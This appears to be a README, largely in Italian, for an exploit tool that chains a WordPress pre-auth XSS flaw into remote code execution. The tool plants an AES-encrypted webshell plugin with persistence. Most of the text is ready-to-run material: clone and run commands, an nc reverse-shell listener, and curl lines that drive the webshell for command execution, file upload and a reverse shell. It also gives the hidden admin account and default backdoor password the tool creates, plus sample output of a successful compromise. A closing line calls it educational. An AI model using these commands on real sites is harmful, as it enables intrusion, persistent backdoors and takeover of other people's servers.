
Sfrutta la XSS pre-autenticazione di WordPress (CVE-2026-64638) per ottenere l'esecuzione remota di codice, installando una webshell backdoor crittografata con AES con opzioni di persistenza, upload di file, reverse shell e stealth per engagement autorizzati di red-team.
Catena di exploit WordPress Pre-Auth XSS → RCE
Sviluppato da G0D150NE
# Clone
git clone https://github.com/g0d150ne/XSS2Shell.git
cd XSS2Shell
# Install dependencies
pip3 install requests beautifulsoup4 cryptography
# Run
python3 poc.py -h
# Open terminal for reverse shell
nc -lvnp 4444
Modalità Auto (consigliata)
python3 poc.py http://target.com -u admin -p pass123 --lhost 192.168.1.100
Modalità XSS (senza credenziali)
python3 poc.py http://target.com --mode xss --lhost 192.168.1.100
Modalità Diretta (con credenziali)
python3 poc.py http://target.com -u admin -p pass123 --mode direct --lhost 192.168.1.100
Dopo l'installazione della webshell:
# Base64 encoded (recommended)
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?b2h='$(echo -n 'id' | base64)
# Plain command
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?cmd=whoami'
# Upload file
curl -F '[email protected]' http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
# Reverse shell
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?rev=1'
# 1. Auto scan + exploit
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5
# 2. XSS chain without credentials
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5
# 3. Custom port & plugin name
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --lport 1337 --slug backdoor
# 4. Change backdoor password
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --backdoor-pass MySecretPass
# 5. Custom callback port
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5 --callback-port 9999
| Opzione | Descrizione | Predefinito |
|---|---|---|
target | URL WordPress di destinazione | Obbligatorio |
-u, --username | Nome utente admin di WordPress | - |
-p, --wp-pass | Password admin di WordPress | - |
--lhost | Indirizzo IP del listener | 127.0.0.1 |
--lport | Porta del listener | 4444 |
--mode | Modalità di exploit (auto/xss/direct) | auto |
--slug | Nome slug del plugin | g0d150ne |
--callback-port | Porta del server di callback | 9090 |
--backdoor-pass | Password della backdoor | G0D150NE |
Dopo un exploit riuscito:
| Funzionalità | Comando |
|---|---|
| Esegui comando | ?b2h=BASE64_CMD |
| Carica file | -F '[email protected]' |
| Reverse shell | ?rev=1 |
| Comando in chiaro | ?cmd=id |
| Backdoor crittografata | ?decrypt=AES_DATA |
Admin nascosto creato:
sysadmin_{slug}{backdoor-pass} (predefinita: G0D150NE)╔══════════════════════════════════════════════════════════════════╗
║ Target : http://wordpress-site.com
║ Attacker : 192.168.1.100:4444
║ Plugin : g0d150ne
║ Mode : AUTO
╚══════════════════════════════════════════════════════════════════╝
[•] Detecting WordPress version...
[+] WordPress version: 6.7.0
[•] Testing XSS vulnerability...
[+] XSS vulnerable! Vector: <area id=ajaxurl...
[+] Login successful as admin
[+] Plugin uploaded successfully
[+] Webshell ready: http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
[+] Test: uid=33(www-data)
╔══════════════════════════════════════════════════════════════════╗
║ [+] EXPLOIT SUCCESSFUL ║
╠══════════════════════════════════════════════════════════════════╣
║ WEBSHELL: ║
║ http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php ║
║ ADMIN USER CREATED: ║
║ Username: sysadmin_g0d150ne ║
║ Password: G0D150NE ║
╚══════════════════════════════════════════════════════════════════╝
| Problema | Soluzione |
|---|---|
ModuleNotFoundError | pip3 install requests beautifulsoup4 cryptography |
Connection refused | Controlla il listener: nc -lvnp 4444 |
| Login fallito | Verifica le credenziali o usa la modalità XSS |
| Upload del plugin non riuscito | Controlla i permessi, usa uno slug diverso |
| Conflitto di argomenti | Usa -p per wp-pass, --backdoor-pass per la backdoor |
Solo per scopi didattici e test autorizzati.
Usa solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test.
L'autore non è responsabile per eventuali usi impropri o danni.